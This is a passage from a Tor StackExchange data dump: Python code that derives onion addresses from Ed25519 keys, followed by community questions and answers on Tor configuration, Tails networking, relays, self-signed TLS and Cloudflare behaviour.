file_content_secret = create_hs_ed25519_secret_key_content(private_key)&#xA;&#xA;    store_bytes_to_file(&#xA;        file_content_secret, f&amp;quot;{hidden_service_dir}/hs_ed25519_secret_key&amp;quot;, None, None&#xA;    )&#xA;&#xA;    file_content_public = create_hs_ed25519_public_key_content(public_key)&#xA;    store_bytes_to_file(&#xA;        file_content_public, f&amp;quot;{hidden_service_dir}/hs_ed25519_public_key&amp;quot;, None, None&#xA;    )&#xA;&#xA;    onion_address = onion_address_from_public_key(public_key)&#xA;    store_string_to_file(onion_address, f&amp;quot;{hidden_service_dir}/hostname&amp;quot;, None, None)&#xA;&#xA;&#xA;if __name__ == &amp;quot;__main__&amp;quot;:&#xA;    priv = ed25519.Ed25519PrivateKey.from_private_bytes(32*b&amp;quot;\x00&amp;quot;)&#xA;    pub = priv.public_key().public_bytes_raw()&#xA;    create_hidden_service_files(&#xA;        priv.private_bytes_raw(),&#xA;        pub,&#xA;        &amp;quot;.&amp;quot;,&#xA;    )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When you copy the hs_ed25519_secret_key file that is generated by this code in the tor directory, tor will create the same hostname file as this code. So what is going on? The function &lt;code&gt;expand_private_key&lt;/code&gt; transfers the seed into the private scalar &lt;code&gt;a&lt;/code&gt; (first 32 bytes of the return) (and the &lt;code&gt;RH&lt;/code&gt; (unmodified last 32 bytes of the sha512 checksum / return)), where tor can create the pubkey and therefore the hostname, whereas the ed25519 function needs the seed (maybe there is a way to pass &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;RH&lt;/code&gt; instead). Further, &lt;code&gt;RH&lt;/code&gt; shouldn't matter here, because RH is not related. You can even set the &lt;code&gt;RH&lt;/code&gt; in the hs_ed25519_secret_key file (so the last 32 bytes) to zero and tor is still happy with this file and it will work (disrespect security).&lt;/p&gt;&#xA;&lt;p&gt;tl;dr&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;tor uses the format &lt;code&gt;a&lt;/code&gt; + &lt;code&gt;RH&lt;/code&gt;, so 64 bytes of relevant data and the first 32 bytes in hs_ed25519_secret_key are just for information.&lt;/li&gt;&#xA;&lt;li&gt;the python functions needs a seed instead, where &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;RH&lt;/code&gt; is derived from&lt;/li&gt;&#xA;&lt;li&gt;the function &lt;code&gt;expand_private_key&lt;/code&gt; makes some voodoo and generates from the seed the real private key &lt;code&gt;a&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;it gets obvious that the python function are using the seed and not the private key, because &lt;code&gt;ed25519.Ed25519PrivateKey.from_private_bytes(&amp;lt;32 bytes&amp;gt;)&lt;/code&gt; wants 32 bytes. And with only 32 bytes defined, ed25519 cannot work except these bytes are the seed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;editedit: finally, the answer to your actual question. (Now I am a bit curious, what you want to achieve with this? I mean, this is not useful for vanity addresses. What do you want to do with this?)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def onion_address_from_public_key(pubkey):&#xA;    import base64&#xA;    import hashlib&#xA;    &amp;quot;&amp;quot;&amp;quot; https://spec.torproject.org/address-spec&#xA;&#xA;    Generates the onion address from the public key&#xA;&#xA;    Parameters&#xA;    ----------&#xA;    pubkey : bytes&#xA;        The public key with a length of 32 bytes.&#xA;&#xA;    Returns&#xA;    -------&#xA;    onion_address : string&#xA;        The onion address.&#xA;&#xA;    &amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;    VERSION = b&amp;quot;\x03&amp;quot; &#xA;    checksum = hashlib.sha3_256(b&amp;quot;.onion checksum&amp;quot; + pubkey + VERSION).digest()[:2]&#xA;    onion_address = &amp;quot;{}.onion&amp;quot;.format(base64.b32encode(pubkey + checksum + VERSION).decode().lower())&#xA;    return onion_address&#xA;&#xA;class Ed25519:&#xA;    # stolen and modified from https://github.com/andreacorbellini/ecc/blob/master/scripts/ecdsa.py&#xA;    def __init__(self):&#xA;        &amp;quot;&amp;quot;&amp;quot; https://www.rfc-editor.org/rfc/rfc7748#section-4.1&#xA;&#xA;        Twisted Edwards Curve equation E: a*x^2 + y^2 = 1 + d*x^2*y^2&#xA;        Values taken from RFC7748&#xA;&#xA;        Attributes&#xA;        ----------&#xA;        a, d : int&#xA;            Curve parameters.&#xA;        p : int&#xA;            Field (modulo p).&#xA;        n : int&#xA;            Order of generator Point ord(G).&#xA;        G : (int, int)&#xA;            Generator point.&#xA;&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        self.a = -1&#xA;        self.d = 0x52036cee2b6ffe738cc740797779e89800700a4d4141d8ab75eb4dca135978a3&#xA;        self.p = 2**255 - 19&#xA;        self.n = 2**252 + 0x14def9dea2f79cd65812631a5cf5d3ed&#xA;        #self.cofactor = 8 # not used, just for completeness&#xA;        X = 0x216936d3cd6e53fec0a4e231fdd6dc5c692cc7609525a7b2c9562d608f25d51a&#xA;        Y = 0x6666666666666666666666666666666666666666666666666666666666666658&#xA;        self.G = (X, Y)&#xA;&#xA;    # Modular arithmetic ######################################################&#xA;    def inverse_mod(self, k, p):&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        Returns the inverse of k modulo p. Nothing changed by me. Thank you,&#xA;        original author for this function.&#xA;&#xA;        Parameters&#xA;        ----------&#xA;        k : int&#xA;            Must not be zero.&#xA;        p : int&#xA;            Must be a prime number.&#xA;&#xA;        Returns&#xA;        -------&#xA;        int&#xA;            k modulo p.&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        if k == 0:&#xA;            raise ZeroDivisionError('division by zero')&#xA;&#xA;        if k &amp;lt; 0:&#xA;            # k ** -1 = p - (-k) ** -1  (mod p)&#xA;            return p - self.inverse_mod(-k, p)&#xA;&#xA;        # Extended Euclidean algorithm.&#xA;        s, old_s = 0, 1&#xA;        t, old_t = 1, 0&#xA;        r, old_r = p, k&#xA;&#xA;        while r != 0:&#xA;            quotient = old_r // r&#xA;            old_r, r = r, old_r - quotient * r&#xA;            old_s, s = s, old_s - quotient * s&#xA;            old_t, t = t, old_t - quotient * t&#xA;&#xA;        gcd, x = old_r, old_s&#xA;&#xA;        assert gcd == 1&#xA;        assert (k * x) % p == 1&#xA;        &#xA;        return x % p&#xA;&#xA;    # Functions that work on curve points #####################################&#xA;    def is_on_curve(self, P):&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        Checks if the given point is on the elliptic curve.&#xA;&#xA;        Parameters&#xA;        ----------&#xA;        P : (int, int)&#xA;            Point to check.&#xA;&#xA;        Returns&#xA;        -------&#xA;        bool&#xA;            True, when point is on curve.&#xA;            False, when point is not on curve.&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        if P is None:&#xA;            # None represents the point at infinity.&#xA;            return True&#xA;&#xA;        x, y = P&#xA;        return ((self.a*x*x + y*y) % self.p == (1 + self.d*x*x*y*y) % self.p)&#xA;&#xA;    def point_neg(self, P):&#xA;        &amp;quot;&amp;quot;&amp;quot; https://en.wikipedia.org/wiki/Twisted_Edwards_curve#Addition_on_twisted_Edwards_curves&#xA;&#xA;        Negative of (x1, y1) is (-x1, y1).&#xA;&#xA;        Parameters&#xA;        ----------&#xA;        P : (int, int)&#xA;            Point to negate.&#xA;&#xA;        Returns&#xA;        -------&#xA;        (int, int)&#xA;            Negative point.&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        assert self.is_on_curve(P)&#xA;&#xA;        if P is None:&#xA;            # -0 = 0&#xA;            return None&#xA;&#xA;        x, y = P&#xA;        result = (-x, y % self.p)&#xA;&#xA;        assert self.is_on_curve(result)&#xA;&#xA;        return result&#xA;&#xA;    def point_add(self, P1, P2):&#xA;        &amp;quot;&amp;quot;&amp;quot; https://en.wikipedia.org/wiki/Twisted_Edwards_curve#Addition_on_twisted_Edwards_curves&#xA;        https://en.wikipedia.org/wiki/Twisted_Edwards_curve#Doubling_on_twisted_Edwards_curves&#xA;&#xA;        Adds two points according to the group law.&#xA;&#xA;        Parameters&#xA;        ----------&#xA;        P1 : (int, int)&#xA;            Point 1.&#xA;        P2 : (int, int)&#xA;            Point 2.&#xA;&#xA;        Returns&#xA;        -------&#xA;        (int, int)&#xA;            Point 3 = P1 + P2, when points are different.&#xA;            Point 3 = P1 + P1, when points are equal.&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;        assert self.is_on_curve(P1)&#xA;        assert self.is_on_curve(P2)&#xA;&#xA;        if P1 is None:&#xA;            # 0 + point2 = point2&#xA;            return P2&#xA;        if P2 is None:&#xA;            # point1 + 0 = point1&#xA;            return P1&#xA;&#xA;        x1, y1 = P1&#xA;        x2, y2 = P2&#xA;&#xA;        if x1 == x2 and y1 != y2:&#xA;            # point1 + (-point1) = 0&#xA;            return None&#xA;&#xA;        if x1 == x2:&#xA;            # This is the case point1 == point2.&#xA;            x3 = 2*x1*y1 * self.inverse_mod(self.a*x1*x1 + y1*y1, self.p)&#xA;            y3 = (y1*y1 - self.a*x1*x1) * self.inverse_mod(2 - self.a*x1*x1 - y1*y1, self.p)&#xA;        else:&#xA;            # This is the case point1 != point2.&#xA;            x3 = (x1*y2 + y1*x2) * self.inverse_mod(1 + self.d*x1*x2*y1*y2, self.p)&#xA;            y3 = (y1*y2 - self.a*x1*x2) * self.inverse_mod(1 - self.d*x1*x2*y1*y2, self.p)&#xA;&#xA;        result = (x3 % self.p, y3 % self.p)&#xA;&#xA;        assert self.is_on_curve(result)&#xA;&#xA;        return result&#xA;&#xA;    def scalar_mult(self, k, P):&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        Calculates k * point with the double and point add algorithm.&#xA;        Nothing changed by me. Thank you, original author for this function.&#xA;&#xA;        Parameters&#xA;        ----------&#xA;        k : int&#xA;            Multiplier.&#xA;        P : (int, int)&#xA;            Multiplicand.&#xA;&#xA;        Returns&#xA;        -------&#xA;        (int, int)&#xA;            Product of scalar multiplication.&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        assert self.is_on_curve(P)&#xA;&#xA;        if k % self.n == 0 or P is None:&#xA;            return None&#xA;&#xA;        if k &amp;lt; 0:&#xA;            # k * point = -k * (-point)&#xA;            return self.scalar_mult(-k, self.point_neg(P))&#xA;&#xA;        result = None&#xA;        addend = P&#xA;&#xA;        while k:&#xA;            if k &amp;amp; 1:&#xA;                # Add.&#xA;                result = self.point_add(result, addend)&#xA;&#xA;            # Double.&#xA;            addend = self.point_add(addend, addend)&#xA;&#xA;            k &amp;gt;&amp;gt;= 1&#xA;&#xA;        assert self.is_on_curve(result)&#xA;&#xA;        return result&#xA;&#xA;&#xA;    # Conversion of private scalar to pubkey like tor does&#xA;    def pubkey_from_priv_scal(self, private_scalar):&#xA;        &amp;quot;&amp;quot;&amp;quot; https://www.rfc-editor.org/rfc/rfc8032#section-5.1.5&#xA;&#xA;        Converts the private scalar according to RFC8032 into the public key.&#xA;&#xA;        Parameters&#xA;        ----------&#xA;        private_scalar : bytes&#xA;            The private scalar `a` (not the seed k).&#xA;&#xA;        Returns&#xA;        -------&#xA;        bytes&#xA;            The public key `A`.&#xA;&#xA;        &amp;quot;&amp;quot;&amp;quot;&#xA;        i = int.from_bytes(private_scalar, &amp;quot;little&amp;quot;) # 3. Buffer as little-endian int&#xA;        x, y = self.scalar_mult(i, self.G)           #    Fixed-base scalar multiplication           &#xA;        y = int.to_bytes(y, 32, &amp;quot;little&amp;quot;)            # 4. y-coord. as 32 bytes little-endian&#xA;        x = int.to_bytes(x, 32, &amp;quot;little&amp;quot;)            #    (also needed for least sign. bit)&#xA;        if x[0] &amp;amp; 1:                                 #    When least sign. bit is 1, then&#xA;            y = bytearray(y)                         #    (make bytes accessible via index)&#xA;            y[31] |= 128                             #    make the most sign. bit 1.&#xA;            y = bytes(y)                             #    (back to bytes from the array)&#xA;        return y&#xA;&#xA;&#xA;c = Ed25519()&#xA;&#xA;f = open(&amp;quot;hs_ed25519_secret_key&amp;quot;, &amp;quot;rb&amp;quot;)&#xA;private_scalar = f.read()[32:64]&#xA;&#xA;f = open(&amp;quot;hs_ed25519_public_key&amp;quot;, &amp;quot;rb&amp;quot;)&#xA;pubkey_should = f.read()[32:64]&#xA;&#xA;pubkey = c.pubkey_from_priv_scal(private_scalar)&#xA;print(pubkey_should == pubkey)&#xA;&#xA;print(onion_address_from_public_key(pubkey))&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="39563" LastEditorUserId="39563" LastEditDate="2024-03-09T19:58:10.077" LastActivityDate="2024-03-09T19:58:10.077" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23977" PostTypeId="1" CreationDate="2024-03-08T18:33:32.717" Score="0" ViewCount="47" Body="&lt;p&gt;How can I create an account on stackexchange.com using Tor Browser?&lt;/p&gt;&#xA;&lt;p&gt;I am an &lt;a href=&quot;https://community.torproject.org/user-research/personas/&quot; rel=&quot;nofollow noreferrer&quot;&gt;at-risk user&lt;/a&gt; who uses Tor for physical security. For the safety of my family, I only access the Internet with TAILS.&lt;/p&gt;&#xA;&lt;p&gt;I need to ask a question on StackExchange, but when I try to create an account in TAILS on Tor Browser, I get this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;You cannot register at this time. If you continue to find this error, contact us.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I've tried using different email providers and reset my identity to use a new exit node over-and-over. Sometimes I get this error message instead&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Something went wrong. Please contact us at community-support@stackoverflow.email for assistance. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm also a contributor to Wikipedia, and -- because I have a risk to the life of my family -- I was able to get my account whitelisted for &lt;a href=&quot;https://en.wikipedia.org/wiki/Wikipedia:IP_block_exemption&quot; rel=&quot;nofollow noreferrer&quot;&gt;IP Block Exemption&lt;/a&gt; so that I can use Wikipedia with Tor. Is there a similar process to protect at-risk people (eg refugees fleeing gang or State violence) on Stack Exchange?&lt;/p&gt;&#xA;&lt;p&gt;How can I signup for an account on Stack Exchange using Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="31208" LastEditorUserId="31208" LastEditDate="2024-03-08T18:39:31.927" LastActivityDate="2024-03-11T11:51:06.997" Title="How to create a StackExchange account on Tor?" Tags="|tor-browser-bundle|censorship|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23978" PostTypeId="2" ParentId="21949" CreationDate="2024-03-09T11:55:52.400" Score="0" Body="&lt;p&gt;Polipo does not support running as a reverse proxy, only as a direct (explicitly configured) proxy.  While you might find some hacks that patch Polipo to do reverse proxying, they are not recommended, since Polipo is simply not designed to act as an efficient reverse proxy (there's a built-in assumption in Polipo that the client-&amp;gt;proxy link is faster than the proxy-&amp;gt;server link).&lt;/p&gt;&#xA;&lt;p&gt;You'll find a number of high quality reverse proxy implementations, though.  Off the top of my head, nginx, Varnish, HAProxy can act as reverse proxies.&lt;/p&gt;&#xA;" OwnerUserId="39570" LastActivityDate="2024-03-09T11:55:52.400" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23979" PostTypeId="2" ParentId="21949" CreationDate="2024-03-09T17:43:17.910" Score="0" Body="&lt;p&gt;Well, you can (ab)use host mapping feature, but I strongly recommend you to use NginX for this task&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-09T17:43:17.910" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23980" PostTypeId="1" CreationDate="2024-03-09T19:13:58.753" Score="0" ViewCount="42" Body="&lt;p&gt;git clone https://sherlock-project/sherlock.git&lt;/p&gt;&#xA;&lt;p&gt;PERROR torsocks[25258]: socks5 libc connect: Connection refused (in socks5_connect () at socks5.c:202)&#xA;fatal: unable to acess 'https://sherlock-project/sherlock.git': Could not resolve host: socks5&lt;/p&gt;&#xA;&lt;p&gt;I'm currently using Tails&lt;/p&gt;&#xA;&lt;p&gt;when I apply the following commands;&lt;/p&gt;&#xA;&lt;h2&gt;git config --global http.proxy 'socks5://127.0.0.1:9050'&lt;/h2&gt;&#xA;&lt;p&gt;git config --global https.proxy 'socks5://127.0.0.1:9050'&lt;/p&gt;&#xA;&lt;p&gt;this error happens;&lt;/p&gt;&#xA;&lt;p&gt;fatal: unable to access 'https://github.com/sherlock-project/sherlock.git/': Failed to connect to 127.0.0.1 port 9050 after 0 ms: Couldn't connect to server&lt;/p&gt;&#xA;&lt;p&gt;I'm a beginner on the subject&lt;/p&gt;&#xA;" OwnerUserId="39571" LastEditorUserId="39571" LastEditDate="2024-03-09T19:25:07.923" LastActivityDate="2024-03-10T19:15:19.023" Title="How to resolve this? connection refused GitHub" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23981" PostTypeId="2" ParentId="23980" CreationDate="2024-03-10T19:15:19.023" Score="0" Body="&lt;p&gt;you need to use Socks5&lt;strong&gt;s&lt;/strong&gt; not just Socks5. The difference is that in S-case DNS resolving is handed to the proxy. Looks like you have DNS filtered too, so it can not resolve the hostname and start to access &lt;em&gt;the resolved IP address&lt;/em&gt; through a proxy specified. Also a good practice is to set the resolver to Tor's DNSPort as well&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-10T19:15:19.023" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23982" PostTypeId="2" ParentId="23975" CreationDate="2024-03-10T19:18:38.043" Score="1" Body="&lt;p&gt;The relay is a way better thing for sure, but - actually - it's always acting as one with ORPort available from outside! To provide a proper bridge you need to rise up an obfuscated bridge with OBFS4, just a plain bridge will be easily detected by remote censors, so it will not have a s big impact as it can make. You have nothing special to consider to run a Tor node - just set it up securely and on able hardware, that's it! A static external IP address is a very handy and a &lt;strong&gt;must&lt;/strong&gt;, actually&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-10T19:18:38.043" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23983" PostTypeId="2" ParentId="23972" CreationDate="2024-03-10T19:21:55.897" Score="1" Body="&lt;p&gt;An old pain in the ass :) You &lt;strong&gt;have to&lt;/strong&gt; compile the libraries required by hand, actually - and install them on the system you're using for building stuff. You will break nothing on your build host, but it's the &lt;em&gt;only pain-proof&lt;/em&gt; way to build TOR statically. And in your line - you need to point to the &lt;em&gt;directory&lt;/em&gt; containing the xxx.a &lt;em&gt;file&lt;/em&gt;, not to the xxx.so &lt;em&gt;file&lt;/em&gt;. dot-so is a Shared Object&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-10T19:21:55.897" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23984" PostTypeId="2" ParentId="23974" CreationDate="2024-03-11T11:41:50.540" Score="0" Body="&lt;p&gt;It's because of Tor's mimicry for HTTPS traffic - it lists as acceptable a list from the most ubiquitous web browser. And - sadly - it's a fact that people do not turn the weak ones off on a client side&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-11T11:41:50.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23985" PostTypeId="2" ParentId="23977" CreationDate="2024-03-11T11:51:06.997" Score="1" Body="&lt;p&gt;It's an old problem here: even Tor community you're at is &lt;strong&gt;not&lt;/strong&gt; available inside Tor as an onion resource :D To get rid of that a decentralized authentication must be implemented, so the risk that is mitigated by this ridiculous IP blocking - the spam and abuse - will be eliminated.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-11T11:51:06.997" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23986" PostTypeId="1" AcceptedAnswerId="23988" CreationDate="2024-03-13T18:52:31.073" Score="0" ViewCount="35" Body="&lt;p&gt;I'm new to Tor and P2P applications so I'm completely lost with what approach I should go with, if someone could give me some guidance I'd really appreciate it (I know using p2p is not good in Tor because of the resources but I need to it like this)&lt;/p&gt;&#xA;" OwnerUserId="39579" LastActivityDate="2024-03-13T21:29:39.597" Title="How can I setup a P2P webserver chat application through Tor" Tags="|website|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23987" PostTypeId="2" ParentId="23970" CreationDate="2024-03-13T21:27:45.983" Score="0" Body="&lt;p&gt;Well, it's totally not a problem - using Tor with VPN, but:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use direct connection &lt;em&gt;with static IP address and ORPort opened&lt;/em&gt;, it will help. Also keep your node running 24/7&lt;/li&gt;&#xA;&lt;li&gt;If you can not connect to directories(banned by IP addresses and/or protocol DPI filter) - use OBFSv4 bridges &lt;em&gt;or&lt;/em&gt; set your router box up with VPN the way that directories will be reached via VPN but other addresses are not&lt;/li&gt;&#xA;&lt;li&gt;Run DirPort directory mirror, so it will help the consensus&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That's actually &lt;em&gt;when and how&lt;/em&gt; you can have a benefit using VPN with Tor. Other scenarios will not break things up, but will not make any profit too. A quick note - about the non-reachable ORport through VPN: quite a lot of nodes do not have ORPort reachable, like ones behind the NAT, so it does not make a sensible difference.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-13T21:27:45.983" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23988" PostTypeId="2" ParentId="23986" CreationDate="2024-03-13T21:29:39.597" Score="0" Body="&lt;p&gt;Using p2p with Tor is &lt;strong&gt;absolutely normal&lt;/strong&gt; ! Just resolve your peers &lt;em&gt;as an onion addresses&lt;/em&gt;, and it will be just fine! To utilize your application needs - map it's ports in your config and pin them statically in your app's config. That's it!&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-13T21:29:39.597" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23989" PostTypeId="1" AcceptedAnswerId="23991" CreationDate="2024-03-16T01:11:48.007" Score="0" ViewCount="50" Body="&lt;p&gt;I've got a local running server and I want to add HTTPS to the requests instead of HTTP, that's it. I've seen the posts on Tor (like &lt;a href=&quot;https://kushaldas.in/posts/get-a-tls-certificate-for-your-onion-service.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://kushaldas.in/posts/get-a-tls-certificate-for-your-onion-service.html&lt;/a&gt;) but I want a free certificate, it can be a self-signed certificate, I want to know how to do it&#xA;I appreciate any help you can provide, thanks.&lt;/p&gt;&#xA;" OwnerUserId="39579" LastActivityDate="2024-03-16T15:13:36.033" Title="How can I add HTTPS to my running Tor webserver" Tags="|configuration|website|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23990" PostTypeId="1" CreationDate="2024-03-16T13:50:55.993" Score="0" ViewCount="47" Body="&lt;p&gt;How can I configure Tor to use a minimum of overhead network traffic?&lt;/p&gt;&#xA;&lt;p&gt;My situation:&lt;/p&gt;&#xA;&lt;p&gt;I have a weather station connected to a Raspberry Pi in a cottage, with a 4G USB dongle for network connectivity. The weather station is used to monitor both the weather and the indoor temperature.&lt;/p&gt;&#xA;&lt;p&gt;I've set up a Tor onion address on the Pi, to be able to ssh to it since I'm not getting a public IP address on the 4G USB dongle.&lt;/p&gt;&#xA;&lt;p&gt;As the weather station only produces a few kilobytes of data per day, and I'm not even ssh'ing to it every day to check the status, I've gone with the cheapest pay-as-you-go plan available on the SIM card.&lt;/p&gt;&#xA;&lt;p&gt;This works fine, but I've noticed that the Tor daemon uses about 30MB of network traffic per day regardless of whether I ssh to it or not. That adds up to almost 1GB per month, and 1Gb would easily last me a year if it wasn't for the Tor traffic.&lt;/p&gt;&#xA;&lt;p&gt;So my question is if there is any way to decrease the amount of Tor network traffic overhead. Can I configure it to download some directory information less frequently, send keepalive packets less frequently, and so on? I'm fairly new to using Tor so I'm not too familiar with how to configure it.&lt;/p&gt;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;" OwnerUserId="39585" LastActivityDate="2024-03-16T15:17:55.280" Title="How do I decrease Tor's network traffic overhead?" Tags="|onion-routing|network-configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23991" PostTypeId="2" ParentId="23989" CreationDate="2024-03-16T15:13:36.033" Score="0" Body="&lt;p&gt;Self-signed is the only option if we're speaking about security! But you can make it even more secure ;)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First of all, make the DH params &lt;code&gt;openssl dhparam -out dhparams.pem 4096&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Second - you need the certificate itself &lt;code&gt;openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Third - propagate the public key on blockchain DNS like that &lt;a href=&quot;https://emercoin.com/en/documentation/blockchain-services/emerssl/emerssl-guide/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://emercoin.com/en/documentation/blockchain-services/emerssl/emerssl-guide/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-16T15:13:36.033" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23992" PostTypeId="2" ParentId="23990" CreationDate="2024-03-16T15:17:55.280" Score="0" Body="&lt;p&gt;For the cases like yours &lt;code&gt;ClientOnly 1&lt;/code&gt; setting is made. It trims functionality, so the tor instance acts like a client only. However - you &lt;strong&gt;can't&lt;/strong&gt; set traffic cap specifically. If you're able to buy a traffic package of some size - you can tweak the size using limit directives, Daily limit is the one you're looking for and keep in mind that like 7-11% overhead to it still can happen(as from my experience), so make your calculations. By your traffic size you've mentioned - 30Mb daily traffic is more just a modest volume, a regular phone consumes much more&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-16T15:17:55.280" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23993" PostTypeId="1" AcceptedAnswerId="23994" CreationDate="2024-03-22T09:18:12.230" Score="0" ViewCount="47" Body="&lt;p&gt;This question &lt;a href=&quot;https://tor.stackexchange.com/questions/23211/tor-browser-does-not-use-exit-nodes-from-specified-country-on-certain-websites&quot;&gt;here&lt;/a&gt; asked a similar thing. But I want to ask a more specific one.&lt;/p&gt;&#xA;&lt;p&gt;We know that to force Tor browser to use exit nodes from certain country, we should edit file &lt;code&gt;torrc&lt;/code&gt; with a line like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {xx} StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where &lt;code&gt;xx&lt;/code&gt; is the ISO country code.&lt;/p&gt;&#xA;&lt;p&gt;This technique works fine for me when I visit most websites. However, for websites that have a CloudFlare check before loading, I notice that the Tor circuit changes to many countries while the CloudFlare is checking. The CloudFlare check I am seeing is to ask the user to tick the box &amp;quot;I am human&amp;quot;. And during this, the exit node is not confined to the country set in &lt;code&gt;torrc&lt;/code&gt;, but jumping all over the world.&lt;/p&gt;&#xA;&lt;p&gt;An example of such website is &lt;code&gt;www.4chan.org&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What exactly is CloudFlare doing? Is it forcing the traffic from Tor browser? What is this mechanism they are doing, if there is a name?&lt;/p&gt;&#xA;" OwnerUserId="39600" LastEditorUserId="39600" LastEditDate="2024-03-22T09:28:48.830" LastActivityDate="2024-03-24T18:06:33.590" Title="CloudFlare versus Tor ExitNodes setting" Tags="|circuit|cloudflare|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23994" PostTypeId="2" ParentId="23993" CreationDate="2024-03-24T18:06:33.590" Score="1" Body="&lt;p&gt;The name is &amp;quot;deanonymizing&amp;quot; - that's what Google, Amazon, Apple and many others are doing. To avoid this case you need to use a normal browser on a VM jail-routed through Tor via TransPort, so they can do whatever they want - but they will never be able to spot the multi-path from your browser. Also expand Long-lived port list with 80,443,8888,8080,8443 and try to play with  increasing circuit lifetime significantly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2024-03-24T18:06:33.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
</posts>